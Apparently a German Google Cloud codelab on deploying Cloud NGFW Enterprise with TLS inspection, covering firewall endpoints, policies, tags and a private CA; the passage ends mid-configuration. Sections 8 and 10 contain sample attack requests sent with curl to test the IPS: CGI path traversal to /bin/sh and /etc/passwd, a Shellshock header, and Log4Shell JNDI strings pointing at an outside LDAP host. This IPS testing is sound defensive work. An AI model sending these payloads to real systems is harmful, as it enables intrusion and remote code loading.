Cloud NGFW Enterprise-Codelab [mit TLS-Prüfung]

1. Einführung

Cloud Next Generation Firewall (NGFW)

Cloud Next Generation Firewall ist ein vollständig verteilter Firewalldienst mit erweiterten Schutzfunktionen, Mikrosegmentierung und umfassender Abdeckung, um Ihre Google Cloud-Arbeitslasten vor internen und externen Angriffen zu schützen.

Cloud NGFW bietet folgende Vorteile:

  • Verteilter Firewalldienst: Cloud NGFW bietet eine zustandsorientierte, vollständig verteilte hostbasierte Erzwingung für jede Arbeitslast, um eine Zero-Trust-Sicherheitsarchitektur zu ermöglichen.
  • Vereinfachte Konfiguration und Bereitstellung: Cloud NGFW implementiert Netzwerk- und hierarchische Firewallrichtlinien, die an einen Knoten in der Ressourcenhierarchie angehängt werden können. Diese Richtlinien sorgen für eine einheitliche Firewallfunktion in der gesamten Google Cloud-Ressourcenhierarchie.
  • Detaillierte Kontrolle und Mikrosegmentierung: Die Kombination aus Firewallrichtlinien und von der Identitäts- und Zugriffsverwaltung (Identity and Access Management, IAM) verwalteten Tags ermöglicht eine präzise Steuerung von Nord-Süd- und Ost-West-Traffic bis auf eine einzige VM über VPC-Netzwerke und -Organisationen hinweg.

Cloud NGFW ist in den folgenden Stufen verfügbar:

  • Cloud-Grundlagen der nächsten Generation
  • Cloud Next Generation Firewall Standard
  • Cloud-Firewall der nächsten Generation für Unternehmen

Cloud NGFW Enterprise

Cloud NGFW Enterprise fügt der verteilten Google Cloud Firewall-Struktur eine Layer-7-Funktion hinzu. Die TLS-Prüfung wird unterstützt, um TLS-verschlüsselten Traffic zu prüfen.

Sie können jetzt zuverlässige NGFW-Prüfungen (Layer 7 Next Generation Firewall) mit detaillierten Steuerungsmöglichkeiten bereitstellen, ohne Änderungen an der Netzwerkarchitektur oder den Routingkonfigurationen vornehmen zu müssen.

Führen Sie die folgenden Aufgaben aus, um die Layer-7-Firewallsteuerung mit IPS zu aktivieren und bereitzustellen:

  • Eine Reihe von von Google Cloud verwalteten zonalen Firewall-Endpunkten erstellen.
  • Erstellen Sie optional eine TLS-Prüfungsrichtlinie.
  • Erstellen Sie optional eine Konfiguration für Vertrauensstellungen.
  • Verknüpfen Sie diese Endpunkte mit den VPC-Netzwerken (Virtual Private Cloud), in denen Sie den Cloud NGFW Enterprise-Dienst benötigen.
  • Nehmen Sie einfache Änderungen an Ihren bestehenden Firewallrichtlinien und Firewallregeln vor, um die Profile zum Schutz vor Bedrohungen für die verschiedenen Trafficpfade anzugeben.

Netzwerk-Firewallrichtlinien

Die Netzwerk-Firewallrichtlinie fungiert als Container für Firewallregeln. In einer Netzwerk-Firewallrichtlinie definierte Regeln werden erst dann erzwungen, wenn die Richtlinie einem VPC-Netzwerk zugeordnet ist. Jedem VPC-Netzwerk kann eine Netzwerk-Firewallrichtlinie zugeordnet sein. Netzwerk-Firewallrichtlinien unterstützen IAM-gesteuerte Tags (oder nur Tags) in Firewallregeln. Diese ersetzen aktuelle Netzwerk-Tags und können verwendet werden, um Arbeitslasten Identität zu erteilen.

Die gemeinsame Nutzung einer Netzwerk-Firewallrichtlinie für mehrere Netzwerke und die Einbindung von IAM-gesteuerten Tags vereinfacht die Konfiguration und Verwaltung von Firewalls erheblich.

Mit der Einführung der Netzwerk-Firewallrichtlinie bestehen die Firewallrichtlinien von Google Cloud nun aus den folgenden Komponenten:

  1. Hierarchische Firewallrichtlinie
  2. VPC-Firewallregeln
  3. Netzwerk-Firewallrichtlinie ( global und regional)

Hierarchische Firewallrichtlinien werden auf den Organisations- und Ordnerknoten innerhalb der Ressourcenhierarchie unterstützt, während VPC-Firewallregeln und Netzwerk-Firewallrichtlinien auf VPC-Ebene angewendet werden. Ein großer Unterschied zwischen VPC-Firewallregeln und Netzwerk-Firewallrichtlinien besteht darin, dass VPC-Firewallregeln nur auf ein einzelnes VPC-Netzwerk angewendet werden können, während Netzwerk-Firewallrichtlinien neben anderen Vorteilen wie Batch-Updates an eine einzelne VPC oder Gruppe von VPCs angehängt werden können.

Außerdem gibt es noch die impliziten Firewallregeln, die für jedes VPC-Netzwerk gelten:

  • Regel für ausgehenden Traffic mit der Aktion „allow“, Ziel 0.0.0.0/0
  • Eingangsregel mit der Aktion „ablehnen“, Quelle 0.0.0.0/0

Standardmäßig wird die Erzwingungssequenz im folgenden Diagramm dargestellt:

21b3bcabc469ffe.png

Die Erzwingungsreihenfolge zwischen den VPC-Firewallregeln und der globalen Netzwerk-Firewallrichtlinie kann geändert werden. Kunden können die Erzwingungsreihenfolge jederzeit mit einem gcloud-Befehl festlegen.

Tags

Die neuen in Netzwerk-Firewallrichtlinien-Regeln eingebundenen Tags sind Schlüssel/Wert-Paar-Ressourcen, die auf Organisations- oder Projektebene der Google Cloud-Ressourcenhierarchie definiert sind. Ein solches Tag enthält IAM-Zugriffssteuerungen, mit denen festgelegt wird, wer was für das Tag tun darf. Mit IAM-Berechtigungen (Idenity and Access Management) lässt sich beispielsweise festlegen, welche Hauptkonten Tags Werte zuweisen und welche Hauptkonten Tags an Ressourcen anhängen können. Wenn eine Netzwerk-Firewallregel auf ein Tag verweist, muss sie zur Erzwingung auf eine Ressource angewendet werden.

Tags entsprechen dem Ressourcenmodell von Google Cloud für die Übernahme. Das bedeutet, dass Tags und ihre Werte innerhalb der Hierarchie von ihren übergeordneten Elementen übernommen werden. So können Tags an einem Ort erstellt und dann von anderen Ordnern und Projekten in der gesamten Ressourcenhierarchie verwendet werden. Weitere Informationen zu Tags und Zugriffsbeschränkungen

Tags dürfen nicht mit Netzwerk-Tags verwechselt werden. Letztere sind Strings, die Compute Engine-Instanzen hinzugefügt werden können. Sie sind mit der Instanz verknüpft und verschwinden, wenn die Instanz außer Betrieb genommen wird. VPC-Firewallregeln können Netzwerk-Tags enthalten. Da sie jedoch nicht als Cloud-Ressourcen gelten, unterliegen sie nicht der IAM-Zugriffssteuerung.

Beachten Sie, dass Tags und von IAM verwaltete Tags in diesem Dokument synonym verwendet werden.

Inhalt

Für dieses Codelab sind ein einzelnes Projekt und die Möglichkeit erforderlich, ein VPC-Netzwerk zu erstellen sowie eine Reihe von Netzwerk- und Sicherheitsressourcen zu verwalten. Es wird gezeigt, wie Cloud NGFW Enterprise IPS-Funktionen auf folgende Weise bereitstellen kann:

  • Nordausrichtungs-Internetflüsse mit TLS-Prüfung prüfen
  • Intra-VPC-Datenflüsse [East-West] mit TLS-Prüfung prüfen

Die zu prüfenden Abläufe werden mithilfe von Cloud Firewall-Abgleichparametern ausgewählt, einschließlich 5-Tupel (Quell-IP, Ziel-IP, Protokoll, Quellport, Zielport) und Tags.

3d0f288d3b92a295.png

Der Endstatus der Regelbasis der Netzwerk-Firewallrichtlinie sieht in etwa so aus:

Priorität

Richtung

Target

Quelle

Ziel

Aktion

Typ

100

Eingehender Traffic

Server_Tag

Systemdiagnosen

Beliebig

Zulassen

Essentials

200

Eingehender Traffic

Client_Tag, Server_Tag

IAP

Beliebig

Zulassen

Essentials

800

Eingehender Traffic

Server_Tag

10.0.0.0/24

10.0.0.0/24

L7-Prüfung

Unternehmen

850

Ausgehender Traffic

Client_Tag

Beliebig

10.0.0.0/24

Zulassen

Essentials

900

Ausgehender Traffic

Client_Tag

Beliebig

Beliebig

L7-Prüfung

Unternehmen

Aufgaben in diesem Lab

  • Netzwerk-Firewallrichtlinie erstellen
  • So erstellen und verwenden Sie Tags mit einer Netzwerk-Firewallrichtlinie.
  • So konfigurieren und verwenden Sie Cloud NGFW Enterprise mit TLS-Prüfung.

Voraussetzungen

  • Google Cloud-Projekt
  • Kenntnisse über die Bereitstellung von Instanzen und das Konfigurieren von Netzwerkkomponenten.
  • Kenntnisse über die Konfiguration von VPC-Firewalls.

2. Hinweis

Variablen erstellen/aktualisieren

In diesem Codelab wird $variables verwendet, um die Implementierung der gcloud-Konfiguration in Cloud Shell zu unterstützen.

Führen Sie in Cloud Shell die folgenden Befehle aus. Ersetzen Sie dabei die erforderlichen Informationen in Klammern:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

3. APIs aktivieren

Aktivieren Sie die APIs, falls noch nicht geschehen:

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Cloud NGFW Enterprise-Endpunkt erstellen

Da das Erstellen des Cloud NGFW Enterprise-Endpunkts etwa 20 Minuten dauert, wird er zuerst erstellt. Die Basiseinrichtung kann parallel erfolgen, während der Endpunkt erstellt wird.

Erstellen Sie das Sicherheitsprofil und die Sicherheitsprofilgruppe:

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

Erwartete Ausgabe:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.

Prüfen Sie, ob die Ressourcen erfolgreich erstellt wurden:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

Erwartete Ausgabe. Beachten Sie, dass das Ausgabeformat je nach verwendetem Client variieren kann:

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

Erstellen Sie den Cloud NGFW Enterprise-Endpunkt:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing

Führen Sie den folgenden Befehl aus, um zu prüfen, ob der Endpunkt erstellt wird (CREATING).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Erwartete Ausgabe (das Ausgabeformat kann je nach verwendetem Client variieren):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

Führen Sie optional den folgenden Befehl aus, um weitere Details zu erhalten:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Erwartete Ausgabe:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

Die Erstellung dauert etwa 20 Minuten. Gehen Sie zum Abschnitt Grundlegende Einrichtung, um die erforderlichen Ressourcen parallel zu erstellen.

5. Grundkonfiguration

VPC-Netzwerk und Subnetz

VPC-Netzwerk und Subnetz

Erstellen Sie das VPC-Netzwerk und das Subnetz:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Erstellen Sie den Cloud Router und das Cloud NAT-Gateway:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Instanzen

Erstellen Sie die Client- und Webserverinstanzen:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

Tags auf Projektebene

Weisen Sie dem Nutzer bei Bedarf die TagAdmin-Berechtigung zu:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

Erstellen Sie den Tag-Schlüssel und die Tag-Werte auf Projektebene:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

Binden Sie die Tags an die Instanzen:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

Globale Netzwerk-Firewallrichtlinie

Erstellen Sie eine globale Netzwerk-Firewallrichtlinie:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

Erstellen Sie die erforderlichen Cloud Firewall Essential-Regeln, um Traffic aus den Bereichen health-check und identity-aware proxy zuzulassen:

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

Erstellen Sie die erforderlichen Cloud-Firewallregeln, um eingehenden Ost-West-/Subnetz-internen Traffic aus den bestimmten Bereichen zuzulassen (diese Regeln werden aktualisiert, um Cloud NGFW Enterprise mit TLS-Prüfung zu ermöglichen):

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

Verknüpfen Sie die Cloud-Firewallrichtlinie mit dem VPC-Netzwerk:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. Cloud Firewall-Endpunktverknüpfung

Definieren Sie die Umgebungsvariablen für den Fall, dass Sie dies noch nicht getan haben und/oder den Skriptansatz bevorzugen.

Prüfen Sie, ob der Cloud Firewall-Endpunkt erfolgreich erstellt wurde. Fahren Sie erst fort, wenn der Status ACTIVE angezeigt wird (während der Erstellung lautet der erwartete Status CREATING):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Erwartete Ausgabe (das Ausgabeformat kann je nach verwendetem Client variieren):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

Führen Sie optional den folgenden Befehl aus, um weitere Details zu erhalten:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Erwartete Ausgabe:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

Verknüpfen Sie den Cloud Firewall-Endpunkt mit dem VPC-Netzwerk:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

Die Verknüpfung dauert etwa 10 Minuten. Fahren Sie erst dann mit dem TLS-Abschnitt fort, wenn der Status ACTIVE lautet (während der Erstellung lautet der erwartete Status CREATING):

gcloud network-security firewall-endpoint-associations list

Erwartete Ausgabe nach Abschluss:

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

Führen Sie optional den folgenden Befehl aus, um weitere Details zu erhalten:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

Erwartete Ausgabe:

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

7. TLS-Ressourcen konfigurieren

Erstellen Sie einen Zertifizierungsstellenpool. In dieser Ressource wird das Root-CA-Zertifikat gespeichert, das wir für NGFW Enterprise generieren.

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

Erstellen Sie die Root-Zertifizierungsstelle. Dies ist das CA-Zertifikat, das zum Signieren zusätzlicher Zertifikate für Anfragen über NGFW Enterprise verwendet wird.

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

Wenn Ihnen die folgende Nachricht angezeigt wird, antworten Sie mit y:

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)?

Erstellen Sie ein Dienstkonto. Dieses Dienstkonto wird zum Anfordern von Zertifikaten für NGFW Enterprise verwendet:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

Legen Sie IAM-Berechtigungen für das Dienstkonto fest:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

Erstellen Sie die YAML-Datei für die TLS-Richtlinie. Diese Datei enthält Informationen zu den spezifischen Ressourcen:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

Importieren Sie die TLS-Prüfungsrichtlinie:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

Aktualisieren Sie die Endpunktverknüpfung, um TLS zu aktivieren:

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

Rufen Sie das CA-Zertifikat ab und fügen Sie es dem CA-Speicher des Clients hinzu:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

Übertragen Sie das CA-Zertifikat auf den Client:

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

Stellen Sie eine SSH-Verbindung zur VM her, verschieben Sie das Zertifikat der Zertifizierungsstelle nach /usr/local/share/ca-certificates und aktualisieren Sie den Zertifizierungsstellenspeicher:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

Beenden Sie zurück zu Cloud Shell.

Signierung des Serverzertifikats:

Installieren Sie in Cloud Shell die Pyca Cryptography-Bibliothek mithilfe des pip-Befehls:

pip install --user "cryptography>=2.2.0"

Damit das Google Cloud SDK die Pyca Cryptography-Bibliothek verwenden kann, müssen Sie Websitepakete aktivieren.

export CLOUDSDK_PYTHON_SITEPACKAGES=1

Erstellen Sie das Serverzertifikat:

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem

Dadurch werden die Dateien „cert.pem“ und „key.pem“ in Cloud Shell generiert. Übertragen Sie als Nächstes das Zertifikat und den Schlüssel auf den Server.

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

Stellen Sie eine SSH-Verbindung zum Server her, um die Zertifikatdetails für Apache zu aktualisieren:

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

Verschieben Sie das Zertifikat und den Schlüssel in einen bestimmten Ordner:

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

Aktualisieren Sie die SSL-Konfiguration, um das signierte Zertifikat zu verwenden:

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

Starten Sie Apache neu:

sudo systemctl restart apache2

Prüfen Sie den Apache-Status:

sudo systemctl status apache2

Sie sollte aktiv sein (wird ausgeführt).

Beenden Sie die VM und fahren Sie mit Cloud Shell fort.

8. Nordausrichtung und E/W-Konnektivität validieren

Führen Sie die folgenden Befehle in Cloud Shell aus und notieren Sie sich die zu verwendenden Ziel-IP-Adressen:

gcloud compute instances list --filter="name=($prefix-$zone-www)"

Öffnen Sie einen neuen Tab und initiieren Sie über IAP eine SSH-Verbindung zur Client-VM. Sie müssen die Variablen im neuen Tab definieren:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Führen Sie die folgenden Befehle aus und notieren Sie sich die zu verwendenden Ziel-IP-Adressen. Erstellen Sie die Variablen, die die Werte in Klammern durch die notierten IP-Adressen aus dem vorherigen Schritt ersetzen, und achten Sie darauf, dass sie erreichbar sind:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Curl die private IP-Adresse und vergewissern Sie sich, dass sie erreichbar ist:

curl https://$target_privateip --max-time 2

Erwartete Ergebnisse für die curl-Anfrage:

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

Senden Sie Beispielangriffe an die IP-Adresse. Der Webserver sollte auf alle Anfragen antworten und bestätigen, dass keine L7-Prüfung/-Prävention besteht:

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

Beispiel für erwartete Ergebnisse (private IP-Adresse):

400
404
400
200
200

Senden Sie auf ähnliche Weise Anfragen an ein Internetziel:

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

Beispiel für erwartete Ergebnisse (Internetziel):

400
404
400
403
403

Beenden Sie das VM-Terminal und kehren Sie zu Cloud Shell zurück.

9. Firewallregeln für die TLS-Prüfung erstellen und aktualisieren

Zuvor haben wir eine Firewallregel konfiguriert, die eingehenden Traffic vom internen Subnetz zu unserem Server zulässt. Wir aktualisieren nun die vorhandenen Regeln für eingehenden Traffic und legen die Aktion auf apply_security_profile_group fest. Dadurch wird die E/W-L7-Prüfung mit TLS aktiviert:

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

Erstellen Sie eine neue Regel, um die L7-Prüfung in nördlicher Richtung mit TLS zu prüfen.

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

Erstellen Sie eine neue Regel, um EGRESS für E/W zuzulassen, um eine doppelte Prüfung zu verhindern.

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client

10. Northbound-TLS-Prüfung validieren

Wechseln Sie zurück zum Tab mit der Client-VM oder stellen Sie noch einmal eine Verbindung her:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Senden Sie die Beispielangriffe an ein Internetziel:

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

In der erwarteten Ausgabe unten gehen keine Antworten ein. Dies bestätigt, dass die Beispielangriffe jetzt blockiert werden:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

Legen Sie die Variable auf die zuvor verwendete Server-IP-Adresse fest:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Senden Sie Beispiel-TLS-Anfragen an den Server:

curl https://$target_privateip --max-time 2

Erwartete Ausgabe:

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Warum ist diese Anfrage fehlgeschlagen? Der Grund dafür ist, dass die Firewall ein vertrauenswürdiges Zertifikat vom Server empfängt. In diesem Fall wird ein selbst signiertes Zertifikat an den Client zurückgegeben. Wir müssen das CA-Zertifikat als Teil einer Konfiguration der Vertrauensstellung hinzufügen, um die Vertrauensstellung zu aktivieren.

Kehren Sie zu Cloud Shell zurück.

11. Konfiguration der Vertrauensstellung konfigurieren

Rufen Sie das Zertifikat der Stammzertifizierungsstelle ab und legen Sie es als Variable mit der richtigen Formatierung fest.

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

Konfigurieren Sie die YAML-Datei für die Vertrauenskonfiguration. Diese Datei enthält Details zur Vertrauensstellung wie CA-Zertifikate:

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
